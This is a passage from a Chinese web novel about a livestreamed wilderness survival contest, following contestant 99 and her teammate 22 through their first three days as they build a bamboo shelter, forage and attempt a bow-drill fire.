等她最后一趟扛着木材回来时,发现家里多了许多东西。
地上有一堆蘑菇和野菜,还有一些枯草。不仅如此,22号还带回来一根大楠竹,并将楠竹砍成一段一段的。用来做容器。
见99号回来,钟臣溪迫不及待的炫耀起来:“看到了吗,这些都是我找到的!”
他指着地上的野菜,一脸得意洋洋:“你看看这个,是曲麻菜,可以吃!还有这个蘑菇,九月香,也可以吃!”
木香没说话,她当然知道这些可以吃,不过这些东西的名字和当年不一样了。九月香这种菌子,他们叫做南瓜菌。而曲麻菜嘛,因为味道有点苦,他们那里叫做苦菜。
见木香不说话,钟臣溪有点不高兴;“难道你不信?我保证这些可以吃的,为了参加这个比赛,我之前看了许多资料,认识了很多野菜
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、野果,我可不是来这里玩的。”
“我信你。”
“这还差不多。水在哪里,我要去洗菜了。”
木香给钟臣溪指了个方向,随后她开始处理木头,她需要把木头砍成适当的长度,然后在木材对应的位置砍出凹槽,这样承重柱和横梁之间契合,方便固定。
钟臣溪很不理解:“搭建庇护所有那么急吗?明天再搭就好了。”
木香哐哐的砍木头,并不搭话。
钟臣溪瘪嘴:“你是怕下雨是吧?我来之前看了天气预报的,接下来一周都是晴天,温度也很高。所以搭建房子这事根本不着急,我刚才去找楠竹,看到其他选手都在搜寻吃的。”
“随你。”不管22号说什么,木香只当他放屁。她估摸着这个白胖子坚持不了几天。她心里有自己的计划,并不会被22号影响。
“……”钟臣溪气得歪嘴:“行,那我们各干各的。”
钟臣溪拿出一件冲锋衣外套,他用外套包好野菜菌子,又拿了两个竹筒,然后往山泉那边走去。
也不知过了多久,木香将木头处理好了,八根承重柱高低不同,靠着石壁的三根最长,大概和22号一样高。
而最外面的三根承重柱比较矮,和她差不多高,进去还要弯着腰。
屋顶后高前低,形成一个坡度,方便排水。
而且屋子小一点方便保暖,反正等22号走了后,这个屋子也足够她一个人住。
一切准备就绪,木香开始搭建框架。
这些木材不算重,木香一个人搭建不难,没多久,她就将八根承重柱搭建好。
随后她又开始将搭建横梁,这个活只有她一个人就比较费力了,她努力将横梁卡进承重柱的凹槽,但总是顾得了这一头,顾不上那一头。
每次她卡好正打算绑上藤蔓时,横梁就掉了下来。
木香不急不躁,继续尝试。
可惜的是,她正准备缠上藤蔓,横梁另一头一歪,眼看着要脱离卡槽掉下来。
就在这时,刚回来的钟臣溪一个快步上前,抬手就接住横梁,将横梁卡回凹槽。
钟臣溪看向99号,等着她向他道谢,没想到99号只是淡淡看了他一眼,然后继续干活,用藤蔓反复固定木材。
有了22号帮忙,木香很快就把五根横梁固定好。五根横梁呈“曰”字型,稳稳当当的被固定在承重柱上。
这样一来,房子的基本结构就做好了。这是一个梯形坡顶的房子,背靠石壁,前面有一块空地,看起来已经有了森林小屋的感觉。钟臣溪可以想象,等房子铺上屋顶,封住墙壁,里面虽然不算大,但也足够宽敞。住着一定很舒适。
99号的本事让钟臣溪不得不服软,他不计前嫌,冲着22号露出友善的笑容:“22号,我又摘了一些猕猴桃回来,一起吃吧。”
“这是野生的,也叫拇指猕猴桃,虽然小,但糖分很高。”
这次木香没有拒绝,这一天她爬山砍树建屋,到现在已经又累又饿,的确需要吃点东西了。
钟臣溪把清洗好的食物摆在树叶上,有清洗好的野菜、蘑菇,还有果子。
那果子外表是棕色,只有拇指大小,当年她把这个叫做拇指果。
木香在旁边坐下,钟臣溪拿起一个猕猴桃,然后用袖子仔细擦上面的毛。
木香瞥了他一眼,然后抓起一把猕猴桃,一个一个往嘴里塞。
“……你就这样吃?”钟臣溪大吃一惊:“不扎嘴吗?”
木香没理他,一口气吃了七八拇指果,然后又拿起蘑菇野菜生吃。钟臣溪看她一口蘑菇一口野菜,惊得差点掉下巴:
“你生吃啊?”
5. 第一天(5)
木香瞥了他一眼,难得回应;“不然呢?有火吗?”
“……你这也太心急了,我打算等一下就钻木取火的。然后就可以煮蘑菇野菜汤喝了。”
木香不置可否,等一下能不能吃到蘑菇汤她不知道,但现在还有很多事要做,天快黑了,她要抓紧时间,起码在天黑前有个躲避的地方。
“你怎么又不说话了?你不信我吗?我是真的会钻木取火,我在家练了好多天!”
木香懒得搭理这个话唠,她吃了一大把蘑菇和野菜,又喝了一竹筒的水,然后起身干活。
而此时,钟臣溪还在慢慢擦猕猴桃。这一对比,让钟臣溪觉得自己像是个小废物。
他不是小废物,他是大男人!
大男人于是学着99号,抓了一大把小猕猴桃往嘴里塞,肚子没那么饿之后,他就开始琢磨着钻木取火。
而木香已经开始搭建屋顶了。
她先搭建屋顶,之前22号砍了许多竹子,木香刮掉竹叶细枝,将竹竿砍成适当的长度,然后每隔三寸放一根竹竿,将竹竿一根根固定在横梁上。
木香在紧紧有条的忙碌着,钟臣溪也没闲着。先前外出砍竹子,他已经凑齐了钻木取火的需要的材料。、
制作底板需要干燥,质地比较软的木材,钟臣溪把底板修整好后,在底板挖出引火槽。
而弓弦他选了一根带有弧度的木棍。钟臣溪将鞋带绑在弓的两段,做成一张弓。
钻木用坚硬,笔直且干燥的木棍制作,并把顶端削成锥形。然后把钻木套在弓绳上。
最后,他在干木枝上削了一些木屑当做火绒,一切准备就绪。
钟臣溪瞄了一眼忙忙碌碌搭屋顶的99号,像是自言自语一样说:“我要开始钻木取火了!荒野求生,最重要的就是火!”
林中传出一声鸟鸣,99号一如既往的没有搭理他。
钟臣溪抿了抿嘴,他掌心合拢,摩挲了两下,然后蹲在地上,开始了荒野求生最重要的事情。
木香默默地赶着手里活,她抬眼看了看天色,估摸着还有半个多时辰就要天黑了。
她得再快点。
没多久,有人来了,是主播老帅和一个工作人员。工作人员手里提这个灭火器,这是赛方给每个庇护所准备的,以防万一。
看着小屋初见雏形,老帅一阵夸赞:”小伙伴们,99号和22号很厉害啊,你们看他们这个庇护所很精致的。”
老帅这一天都在这片山头晃荡,他知道西区河谷北边这个山头共有9个组合,18个选手。
目前大部分选手已经有了庇护所,但条件参茶不齐,有的搭了个简易的三角庇护所,有的直接找了个山洞、石缝。
而99号22号这个庇护所,还是他目前见过最讲究的。
【这是打算安家吗?】
【没必要吧,看着不小,搭建起来要很多资源,太浪费体力了。】
【怎么都是99号在忙,22号呢?】
老帅把镜头对准22号:“小伙伴们,这对组合分工明确啊,一个搭建房子,一个钻木取火。22号,你打算今天就生上火吗?”
钟臣溪一脸坚毅:“当然啊。天黑之前我肯定能把火点燃。”
老帅看到旁边的食物,又和钟臣溪聊了起来:“这是你找到的食物吗?”
“恩,今天事情多,我没走远,就在附近找了一些,明天我打算走远点去打野。”
老帅和钟臣溪聊了一会儿,但粉丝们对99号更好奇,他走到99号身边,可99号一门心思干活,根本没工夫搭理他。
“……99号,你有空吗?我有两句话跟你说。”老帅凑到木香跟前,总算插上了嘴。
”见谅,我很忙,你有话可以直接说。”
老帅压低声音:“是这样的,你和22号是抽签组队,又是男女组合,所以我们赛方还是比较关注你们的。你们庇护所附近就有一个巡查员营地,就在下面大概三十米那里,晚上你那个定位器放在手边,晚上如果有什么突发情况,可以随时按报警按钮。巡查员会马上过来。”
木香楞了一下,她下意思的看了一眼正在埋头钻火的22号,眼底有些诧异:“突发情况?”
“对的,你懂我的意思就行。总之,安全第一,我们也会最大限量的保护你的安全。”
木香收回目光,眼底的自信不容置疑:“他,我还不放在眼里。”
“……”老帅讪讪的:“还是小心一点比较好。”
【你们发现没,99号狂得很。】
【狂怎么了?人家有狂的资本啊,她一个女生能扛起两根大木头呢。】
【演的,她就是想立人设。太普通的人设很容易变成小透明的。】
【能狂几天?晚上一条蛇爬过,马上吓哭。女人,在荒野里待不了!】
见99号完全没有沟通的欲望,老帅没办法,只能直播她干活,他自言自语了一会儿,觉得没意思,就撤了。
天渐渐暗了下来。
木香屋顶的第一层搭好了。明天她会在屋顶第一层竹竿上铺一层树枝树叶,不过今天没那么多时间了。
22号还在钻木,木香觉得他今天想钻出火是难了。
22号之前带回来很多拇指果,木香走过去,又吃了十几个拇指果,然后开始今天最后一项工作。
她把先前剩下的木头砍成两尺长的木段,然后把屋里靠近石壁的地方清理出来,将木段一段挨着一段整齐摆起来,做成一个两尺宽,一人长的木段床。然后在上面铺一些干草。这样就能勉强对付几个晚上了。
等房子做好后,她会重新做更舒适的高架床。
做好自己的床,木香看了一眼22号,只见他蹲在那里,手上动作不停,他咬牙切齿盯着手上的工具,大有今天不着火不罢休的气势。
木香叹了口气,算了,同伴一场也是缘分。
她用剩下的木段,在房子的西面又做了个简易床。
没多久,天黑了。
山里的夜,远比白天冷。而且已经是入秋时节,晚上更是寒气逼人。木香倒是希望22号能点着火,但事与愿违。
木香把能穿的衣服都穿好。所有选手的衣服都是赛方统一提供的。上衣四件,分别是短袖、长袖、抓绒卫衣、冲锋外套,冲锋裤一件,短袜两双。另内裤自带两件,运动鞋一双,女士运动文胸两件。
木香裹好四件上衣,然后往床上一躺。她闭上眼,渐渐沉下心,耳边22号钻木发出的咯吱声一阵阵的,远处传来隐隐的鸟叫虫鸣。
木香的意识渐渐迷糊起来,有一瞬间,
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她好像躺在自己的家里,父亲在院外劈柴,母亲在灯下织布。
阿弟在旁边玩鲁班锁,木头碰撞摩擦,发出咯吱咯吱的声音。
真好啊。
大家都还在身边。
“我靠,你睡着了?”耳边传来气急败坏的男声,把木香拉回现实。
她缓缓睁开眼,眼前一片昏暗,只看到跟前隐隐站着个人影。
木香心头一跳,那人开口,又气又恼:“你怎么睡得着啊?”
她回到了现实。她思念的那些人,早已不在。
木香看着眼前的人影,语气不善:“我为什么睡不着?”
钟臣溪被她噎了一下:“……你睡觉都不叫我一声啊。”心真大,这里荒山野岭,她一个女孩子就当着一个男人的面睡着了!
不可思议!
他是一个大男人啊!
“你是三岁小童吗?别人睡觉还要跟你说一声。”木香再次闭上眼,十分不耐:“我要睡了,别烦我。”
“……”钟臣溪气得跳脚,睡什么睡啊,起来吵架啊!
可是当他看到旁边另一张“单人床”,他又闭了嘴。
“算了,好男不跟女斗。”钟臣溪嘀咕几句,抹黑找到自己的包袱,把衣服穿在身上后,躺到了床上。
因为99号把他找来的干草全用光了,钟臣溪只能躺在木段上,一排木段凹凸像是波浪,膈得很难受。钟臣溪琢磨着摸黑去找点树叶杂草来垫一垫。
但奇怪的是,他一躺下,眼皮千金重,整个人像是不受控制一样,进入迷糊状态。
背啊,你先忍一忍吧,我实在太困了。
心里默默说完这一句,钟臣溪进入梦乡。
“呼……呼……”
木香被呼噜声吵醒了。她盯着钟臣溪,默默握紧了拳头。
就在这时,她听到山下传来一片嘈杂的声音,像是男人和女人在争吵,一声高过一声。
具体吵些什么她听不太清楚,但这些人长期生活在城里,养尊处优,忽然来到山里,生活艰难,想来是无法忍受而爆发了争吵。
“哎,99号,你听见了吗?”
“……”木香假装没听到,闭眼装睡。
钟臣溪不死心,他翻身坐起来,继续呼叫:“99号,99号?”
22号像个苍蝇嗡嗡嗡,木香没办法,只得回应:“……怎么了?”
“哎,你总算醒了,快听,下面有人吵架。”
“……”木香无奈:“那又如何?”
“我想去看看,一起去吗?”钟臣溪刚才小睡一觉,精神很好。他本想去看个热闹,但一个人又有点怕。
“我不去。”木香翻了个身,脸朝石壁。
“……”钟臣溪一个人不敢走远,他往外走了十几米,竖着耳朵听下面的动静。
果然是一男一女在吵架。但因为距离太远,他们具体吵什么,他听不见,但过了一会儿,他就听到了尖锐的警报声。
紧接着,又是一声警报声。
除非危险情况,选手按下报警按钮就意味着退赛。看来吵架的两人是打算退赛了。
没想到第一晚,就有人熬不下去了。
钟臣溪默默回了四面无壁的家,他躺到了床上,心里暗暗发誓,一定要坚持到进入前二十。
6. 第二天(1)
也不知睡了多久,钟臣溪被冻醒了。
他没想到入夜的山里这么冷,明明白天的时候只用穿一件短袖。可现在身上穿了这么多衣服,但还是感觉一阵阵寒气入体。
尤其是双脚,冻得都有些僵了,钟臣溪急忙摸索着穿上鞋。
可还是冷。
尤其是夜风一吹,他甚至打起哆嗦。为了减少受冷面积,钟臣溪坐了起来,将自己缩成一团。
他望着没有四壁的家,心中有点后悔,早知道和99号一起建房子,今晚就不会那么冷了。
冷就算了,他还想上厕所。幸好是小号。赛方规定上大号要么公用的旱厕。要么自己挖坑自己埋。麻烦得很。
钟臣溪哆哆嗦嗦的抹黑起来,凭借着白天对周围环境的了解,摸索到屋子七八米外的树下解决。
屋里的木香眉头皱紧,她翻了个身,面朝里继续睡。
钟臣溪冻了大半夜,也不知过了多久终于昏沉入睡,迷迷糊糊中,他又听到了远处传来好几声尖锐的警报声。
看来是有人受不了这么冷,第一天晚上就直接破防退赛了。
……
“99号,早啊,这么早就起来砍竹子啊,真勤快。”
老帅蹲在木香旁边,看她处理竹子,她需要把细竹竿枝丫清理掉,然后砍成需要的长度,用来做墙面。
被盯着的木香手上的速度明显慢了。
“99号,跟大家说说你自己吧,比如你叫什么,来自哪里?”
“……”又来了。木香并不看镜头,低着头开始毫无感情的背诵台词:“大家好,我是99号,来自桂西。”
“99号,昨天晚上睡得怎么样?”
“还行。”木香想了想,望向四壁空空的房子:“不过22号好像睡得不太好。一晚上没怎么睡。”
22号从半夜子时开始发抖,一只抖到天蒙蒙亮才再次睡着。
老帅的注意力果然被吸引到了22号那里,他告别了木香,找到两人的庇护所,走进房子一看,只见22号躺在木段上,睡得呼呼呼的,别提多香了。
老帅将镜头对准22号,直播他的睡姿。
“小伙伴们,这是咱们22号,睡得是真的死,99号在附近砍竹子,对他一点没影响。”
这时,直播屏幕中出现一条留言:
花开富贵:【小溪,小溪,我是妈妈啊,你受苦了,妈妈好心疼啊!】
顿时,直播间炸了锅:
【妈妈?】
【小溪是谁?】
【就是22号,22号的名字是钟臣溪。】
网友们正热议着,一辆跑车在屏幕中开过,直播间留言区最上方显示;【花开富贵送出跑车。】。
老帅赶紧说:“感谢花开富贵送出的跑车!”
花开富贵:【主播你好,我是小溪的妈妈,麻烦帮我劝劝小溪,让他回来吧。小溪体弱多病,吃不了这个苦啊!】
老帅一脸尴尬,这时,屏幕中又飞机出现。
【花开富贵送出飞机。】
吃人嘴短、拿人手短。老帅没办法,只好叫醒22号:“22号,醒醒,22号?醒醒,你妈妈在直播间呢。”
老帅推了几下,钟臣溪终于醒了,他睡眼惺忪,一脸懵然的望着镜头。
老帅赶紧解释:“22号,你妈妈在直播间,给你妈妈打个招呼吧?”
“妈?!”钟臣溪一个激灵清醒了,他倏的坐起来,一脸尴尬:“我妈说什么?”
老帅当然不能直话直说影响选手心态,他避重就轻:“阿姨有点担心你,你跟阿姨说一下,昨天过得怎么样?”
“妈,你别担心,我过得很好,吃了很多野果野菜,睡得也很香。不信你看看我们的庇护所,已经搭好了一半,今天就能完工!”
老帅跟着说:“没错啊,阿姨你看,这庇护所是很不错,像模像样的,等把屋顶、墙面搞好,遮风又挡雨,很舒服的。”
“妈,你放心吧,我在这里跟家里一样,好得很!”钟臣溪话还没说完,肚子发出雷鸣的叫声。
他一脸讪讪。
直播间的臣溪妈绷不住了:
花开富贵:【小溪,刚才是什么声音,你肚子是不是饿了?你是不是一天没吃东西了?】
”妈,那不是我,是主播。”
老帅只得打配合:“阿姨,是我,我早上上山忘记吃早饭了。”
在外面砍竹子的木香停下了动作。这两人凑在一起真聒噪,叽叽歪歪的让她心情浮躁,无法沉心干活。
木香早饭就吃了十几个拇指果,现在又有点饿了,干脆先去山里找点吃的。
于是木香悄悄起身,往林中走去。
昨天木香去山里面寻找树木时,就看到一些可以吃的食物。不过那时她忙着砍树,没工夫去采集。但她细心的记住了位置,今天再去找不难。
约莫一炷香后,木香找到了一株鸡爪梨,鸡爪梨外形奇怪,歪七扭八,像个鸡爪。
它现在的味道有点酸涩,等霜降后味道很甜,可惜个头小,饿得时候吃这个不过瘾。她和阿弟喜欢把鸡爪梨当零嘴吃。
木香站在树边摘一个吃一个,等肚子没那么饿了,这才把外套领口用细藤扎住,做成口袋,用来装鸡爪梨。
木香摘了一点就收手了,她继续往山上走,一路上脚边时不时冒出几朵蘑菇,她就顺手摘了收入衣服袋子。
又走了约莫小半个时辰,木香找到了昨天见过的牛腰果。这种果九月成熟,皮是黄色的。有巴掌大那么一个,木香摘了十几个,眼看口袋越来越重,她抬头查看天色,发现快午时了,就赶紧往回走。
晚上太冷,她也没睡好。所以木香打算今天做好屋子,晚上就没那么冷了。
快到家时,木香绕路去了山泉边,喝了一点山泉水。
木香回到家的时候,22号不在,她一眼就看到,屋子西面的墙已经做起来了。
一根根竹竿整整齐齐的扎进土里,排成了一面墙,细竹竿中间有细藤交叉捆绑固定扎实,这样就不会轻易散架。
看到这,木香对22号的厌烦暂时又少了几分。这位富贵公子哥,也不是一无是处。
就在这时,钟臣溪扛着一捆竹竿回来了:“99号,你去哪里了?你不是急着建好庇护所吗?快一起帮忙啊。”
木香把衣服里的东西倒在树叶上:“你先吃吧。”
看到木香带回的食物,钟臣溪瞬间眼睛一亮:“拐枣、牛卵坨、还有乌枞菌!这么多,你是从哪里搞的?”
木香默默记住这些东西现在的名字。
他们管鸡爪梨叫拐枣,拐弯的枣,好记。
牛腰果叫牛卵坨,这名字真难听,影响食欲。
随后,木香指了指山上:“在那边。你先吃吧。房子我来建,你下午生火。”
钟臣溪诧异:“生火?昨天你不是一门心思建房子吗?”
“剩下的我一个人就够了。你下午争取把火点燃,如果还有空闲,多准备一点木柴。”
钟臣溪不由自主的点头:“好。”等他反应过来,瞬间又懊恼了:99号凭什么指挥他?他又不是小弟。
更见鬼的是,他总是不自觉地听从99号的指挥。
这对吗?
“不对,凭什么你叫我干啥我就干啥?”钟臣溪站直身体,仰起头,一脸不服气。
木香瞥了他一眼,神色淡然无波:“随你。”
说罢,她从旁边找了几片长条叶,将手掌仔细裹好,然后开始处理竹竿。
至于22号,他听不听话,做不做事,对她影响不大。
等房子搭建好,她就有时
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间生火了。
况且,这位公子哥未必能生起火。
被无视的钟臣溪像是霜打的茄子,他想和99号来一场精彩的辩论,但99号根本不接招,衬托得他像是个小丑。
“行吧,我生火。”他一个大男人,没必要跟一个女孩子计较。
钟臣溪找了块石头坐下,开始美美享受99号带回来的食物,拐枣、牛卵坨,再加上剩下的拇指猕猴桃,丰盛又美味。
不过,他忽然想吃灌汤包了,浓浓的肉汁汤,简直是天下第一美味啊。
想到这里,钟臣溪忍不住吸了吸口水,一旁的木香看了他一眼,眼神鄙夷。
钟臣溪白脸一红,赶紧低头吃拐枣。
屋子的北面背靠着石壁,是天然的挡风屏障,所以北墙不用着做,木香先把剩下的东墙、西墙做起来。
东墙中间挨着地面的地方,她预留了一个一尺见方的洞。那是她预留的烟洞。
她正打算做西墙,有人来了。
这次来的主播是大美。今天是比赛的第二天,从昨天下午到今天中午,已经陆续退赛十几人了,目前三个赛区一共还剩一百零三人。
他们退赛的理由五花八门。
有的选手不会分辨食物,找不到吃的,饿得退赛。有的选手虽然找到食物,但肠胃受不了,拉肚子拉到退赛。有的选手熬不住晚上的黑暗和寒冷半夜退赛。
甚至有的选手因为谁干活多,谁干活少吵起来,然后愤然退赛。
总之,低估了荒野求生难度,或是高估了自己的人,是熬不下来。
大美率先把镜头对准了22号。
就在今天上午,22号因为有一个连刷跑车飞机的土豪妈妈在网上引起了关注。
现在粉丝送给他一个外号:“小沪爷”。
粉丝们嚷嚷着想看小沪爷,大美就一路找过来了。
“你好22号,我能叫你臣溪吗?”
钟臣溪默默点头。
“你在钻木取火啊,大概努力多久了?”
“一个多小时了。”
“你觉得自己今天能成功生火吗?”
“……”昨天还信心满满的钟臣溪,今天犹豫了。他在家里练习过生火,大概三个小时内基本都能生出火。
但昨天的失败让他意识到,在山上生火不像在家里那么简单。可能是山上更冷,水汽更多。还有就是工具不同。
“今天不行,那我明天继续,明天不行,我后天继续。总之,我一定要把火生起来!”
“加油,你一定行的,大家都看好你……啊,谢谢花开富贵送的跑车,阿姨您放心,臣溪很好,精神很棒。他现在正在钻木取火……中午饭?臣溪,你能跟阿姨说一下你中午吃了什么吗?”
“……”钟臣溪一脸无奈:“我中午吃了拐枣、牛卵坨、乌枞菌、拇指猕猴桃……还有一些野菜,我吃了很多,一点不饿。”
钟臣溪实在不想和妈妈隔空对话,于是岔开话题:“我现在忙着钻木取火,要不主播你跟99号聊一聊。”
正想偷偷溜走去砍竹子的木香被大美喊住:“99号,你要去哪里啊?”
“……砍竹子。”
“能不能抽时间为粉丝们介绍一下你们搭建的庇护所?”
“不能,我现在赶时间。”木香一口拒绝。
“……”大美被噎了一下。
木香没管她,扭头就走。
粉丝们都惊呆了。
【666,99号好酷好拽!】
【这对组合太逗了。一个是富家小公子,一个是冷酷姐!】
钟臣溪哭笑不得,他现在才知道,原来99号不搭理人不是针对他一个人,她是公平的不搭理任何人啊!
这么一想,钟臣溪心里舒坦了很多。他一直以为99号讨厌他呢。
7. 第二天(2)
大美没办法,只好直播22号钻木取火,但播了好一会儿,半点火星都没有,网友们看着也没意思,大美只离开去找别的选手了。
又过了两个小时,木香把南墙也做好了,她在南墙靠近东边的地方留了一个一人宽的小门。
接下来,就要加盖屋顶了。昨天木香用竹竿做了屋顶的椽子,现在需要在上边铺盖树枝树叶,防止雨水侵入。
木香拿起砍刀,正装备去砍树枝,却见22号把手里的弓弦钻木一扔,然后一屁股坐在地上,一副垂头丧气的模样。
看来,他取火又失败了。
木香不管他,依旧去做自己的事情。
22号叫住她:“你要去做什么,我跟你一起去。”
“不必,我一个人就行。你如果不生火了,就去找点吃的。最好能找些能饱腹的食物。”
野果野菜不管吃多少,肚子也总觉得没吃饱。
钟臣溪猛地点头:“行,那我去找点山药。山药里面有淀粉,能生吃。”
等99号身影离开,钟臣溪皱眉:“靠……我怎么又听她指挥了?!”
心里虽然不服气,但该干的事情还是得干。不然晚上大家都得饿肚子了。
钟臣溪只穿了个短袖,将冲锋外套搭在肩头,一手拿起砍刀,往林子里走去。
木香很快找到了她需要的树叶,是箬竹叶,它像是被放大的竹叶,叶片宽又长,表面光滑防水,有一些人会用它来包粽子。
用这箬竹枝叶来铺房顶,再合适不过了。
于是一整个下午,木香都砍箬竹,搬箬竹叶,铺箬竹叶,她忙忙碌碌,饿了吃点野果菌子,渴了喝两口水。
等她铺好屋顶时,天色已经暗了下来。木香这才后知后觉,已经好久没见到22号了。
这公子哥去找个吃的怎么还不回?
不过木香并没放在心上,屋子做好了,屋子周围还是乱糟糟的,趁着天还没黑,她开始整理屋子周围的杂草、灌木。
木香正忙着,那个聒噪的男主播又来了。
老帅一眼看到石壁下的小屋,惊叹不已:
“小伙伴们,这座小屋漂亮吧?这是99号和22号的庇护所,对对对,这看起来不像是庇护所,像是一个家了!看来,99号和22号的决心很大啊!”
老帅转到木香跟前;“99号,小伙伴们都很喜欢你们的庇护所,能跟大家谈谈,你们怎么想到要搭建这样的一个庇护所吗?”
“毕竟要住几个月,不能凑合。”木香应付着直播,但手上的动作没停。
“住几个月?”老帅有点意外:“看来你们是做好长期准备了?”
木香点头。
【就她,不会想进前二十吧?】
【说大话嘛,谁不会啊,进来的都以为自己很强,没过几天都哭着喊妈妈了。】
其实老帅和粉丝的想法一样。他曾经是荒野求生赛事的选手,后来加入赛方成为工作人员,以他的经验来看,99号和22号恐怕很难坚持几天。
虽然99号目前看起来很强,搭建的庇护所也不错,但她毕竟是个女人,身体也并不健硕。而22号就更不行了,一个大城市来的公子哥,肩不能扛手不能提的,这两个人之前又不认识,容易发生矛盾。
他们凑在一组队,debuff叠满,估计撑不了几天就要退赛。
“那你的目标是什么,进前二十吗?”赛方奖励规定,前三奖励丰厚,前十有十强奖励,前二十有参与奖励。
木香很轻的嗤了一声,老帅刚开始还以为自己听错了,但很快,他听到了这个女人的豪言壮志:
“我的目标是五十万。”五十万,正是第一名的奖励。
【她开玩笑的样子好认真哦。】
【她在逗我们吧?】
【就她?】
老帅也愣了三秒才回神:“好志气,加油99号,对了,怎么没看到22号?”
“他出去找吃的了。”
“去哪儿了?天快黑了,你去喊他回来吧。”赛方规则为了确保选手的人身安全,要求天黑后选手尽量待在各自庇护所。
“我不知道他去哪了。”
“那你不担心他吗?”
木香不解:“担心?他又不是小孩子,该回来的时候就回来了。”
“……”老帅被噎住。
就在这时,花开富贵带着她的跑车如期而至。
“谢谢花开富贵的跑车,阿姨你别急,现在距离天黑还有一段时间,相信22号选手正在赶回来的路上……放心,每一个选手都带着定位器,有定位,可以一键报警,还能和工作人员联系,如果22号遇到危险,会和我们联系的。”
木香听得直摇头。心里盼着22号赶紧滚蛋。
过了一会儿,22号终于回来了。
老帅赶紧迎了上去:“22号,你总算回来了,我们都很担心你,我都准备去找你了。”
钟臣溪正准备回答,木香走过来问:“找到什么了?”
“这里,挖了一截山药,山药豆,还有一些野葱。”他打开冲锋外套,露出里面的成果。
木香看到,里面有淮山两节,大概就比拇指粗一点,而且加起来还没有手臂长。
这点东西,也就够一个人吃。
果然是个废物。
木香默默看了一眼22号,22号被她眼底的鄙视刺激到了,赶紧说:“这是给你留的,我的那份自己在路上吃了。”
“行。”木香没客气,直接拿起山药野菜,去水泉那边清洗。
等她洗好东西回来,发现老帅还在采访22号。
木香没辙了,干脆躲进屋里啃山药,生山药,嘎嘣脆,带点微甜味。
可惜她耳力太好,虽然她不想听,但外面两人说话,她一个字也没落下。
“22号,你刚才去打野了,去了哪里了?”
“西边山上。”钟臣溪指了个方向。
“听99号说,你去了一下午,怎么去了那么久?”
“……因为刚来这里,不太熟悉环境,回来走岔了,所以多花了点时间。”钟臣溪竭力避免提到迷路这两个字。
但老帅没放过他:“直播间有网友问,你是不是迷路了?”
“……这不算迷路吧,我就是小小的迷茫了一下。”钟臣溪企图蒙混过去。
“哈哈哈,粉丝叫你下次小心点,别再迷茫了。”
老帅还要调侃他,忽然山下传来激烈争吵声。
因为距离太远,他们听不清楚具体吵什么,但能分辨出事两个男人在吵架,而且声音越来越激烈,看样子像是要打起来了。
老帅赶紧起来:“我过去看看。”
见老帅要走,钟臣溪想过去看看热闹,这两天他没见过几个人,正闷得慌呢。
他正要走,忽然想到什么,回头跑到门口:“99号,一起去看看?”
屋里一片昏暗,他只看到99号坐在床边,嘴里正嚼着东西。
几秒后,99号毫无感情的声音从黑暗中传来:“不去。”
她才不会去干浪费体力的时间。
钟臣溪瘪嘴,跟着老帅一起下了山,因为赶着直播吃瓜,老帅一路快跑,期间还摔了个跟头,幸好被钟臣溪拉住。
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约莫二十分钟后,他们到了位置,两个打架的男选手已经被赶来的巡查员拉开了。
但是这两人余怒未消,恶狠狠地等着对方,仿佛和对方有什么深仇大恨。
周围还有不少赶过来看热闹的选手。
两个选手没办法打架,开始对骂:
“我这一天都忙着搭建庇护所,结果你呢?带回来几根野菜,你喂麻雀呢?”
听到这话,钟臣溪脸蛋发热。这话听着,怎么像是在骂他?幸好他带回的有山药。
另一人不甘示弱:“你以为食物那么好找吗?你以为随便走走就能找到食物?还有你这个庇护所,我都懒得说,这么多人都在,大家都看看,就这么小的庇护所,晚上两个人躺进去都要贴着亲嘴,他搭了两天还没搭好!”
周围的人被逗得哈哈大笑,钟臣溪也跟着笑,笑着笑着他忽然不笑了。
同样是两天时间,这对组合搭建的庇护所跟个小狗棚一样,而99号两天搭建出了一个像模像样的小屋子。
这一刻,22号终于意识到,他的队友不简单。难怪,他总是不由自主的听她号令。
“我特么亲母猪也不会亲你,什么玩意儿?我饿了一天,就我吃草!我还干个屁啊!算老子倒霉,一千多的报名费就当喂狗了!”
“要退你退,我不退!”
“你不退是吧,行,庇护所是我搭建的,我要拆了!”
“凭什么,你没资格拆庇护所,我这两天没帮你收集材料吗?没找食物吗?”
两个人又吵了起来,直到裁判员过来。
钟臣溪没有继续听下去,他默默上了山。路上,他越发觉得心虚和愧疚。
幸好,99号不嫌弃他。
钟臣溪越走,脚步越虚浮,他肚子饿得咕咕叫,浑身软绵绵的。他只在早上、中午吃了一些野果野菜,连续两天干得多,吃得少,身体能量严重不足,整个人就如脚踩棉花,人在走,魂儿在飘。
幸好他提前两个个月增肥二十斤,饿几顿没事。
下山十几分钟,上山钟臣溪去花了半个多小时,等他回到庇护所的时候,天已经完全黑了。
钟臣溪进了屋子,整个人愣住。
外面黑漆漆,里面黑洞洞。
要是胆子小点的,都要吓哭了。
钟臣溪没有哭,但他还是怕:“99号?”
无人应答。
钟臣溪又喊了一声,依旧是无应答。
他有点慌了,99号不在吗?她去哪里了?不会是被野兽抓走了吧?
想到这里,他的声音不由得急促起来:“99号!”他一边呼喊着一边往99号床铺那边走去,在黑暗中,他忍不住伸手向前,摸索着位置。
就在这时,钟臣溪感觉自己的手腕被一个抓住,极度的惊恐中,他“啊”的一声大叫起来!
“闭嘴!”一个冰冷而又熟悉的声音在钟臣溪耳边响起,此时此刻,他却觉得这声音不亚于天籁!
“99号!”钟臣溪激动地想要去抓99号的手,木香反应迅速,将他往旁边一甩:“放尊重点,否则别怪我不客气。”
钟臣溪愣住,随即脸一热:“……你说什么呢,我只是怕你被野兽抓走了。”
“最好是这样。”木香说完,躺下继续休息。今天有房有顶,环境比昨夜好多了,她需要养足精神,以备明天。
钟臣溪摸摸索索地回到自己床榻的位置,他刚想坐下,黑暗中再次传来女人的声音:
“我给你留了一节山药,放在你床上。”
许久,钟臣溪哦了一声,慢慢摸索到了山药,在夜色中一点点把它啃完。
8. 第三天(1)
天蒙蒙亮,钟臣溪就醒了,连吃了两天生的,钟臣溪肠胃有点不舒服,他捂着肚子去了一趟林子挖了个坑,解决了人生大事。
赛方规则选手不能随处大号,所以在林子里搭建了一些旱厕,当然,如果选手愿意挖坑管埋,就可以在林子里方便。
回来时,钟臣溪一路走一路捡柴,回到庇护所时,他手里已经抱着一捆柴了。
瞧他多勤快,天刚亮就开始干活。不比99号差太多吧?
钟臣溪想找99号炫耀,却发现家里空无一人了。
“……”她干啥去了?难道也拉肚子,去附近挖坑方便了?
钟臣溪想去找99号,又怕惊扰她上大号,于是大喊了几声:“99号?99号?”
结果无人应答。
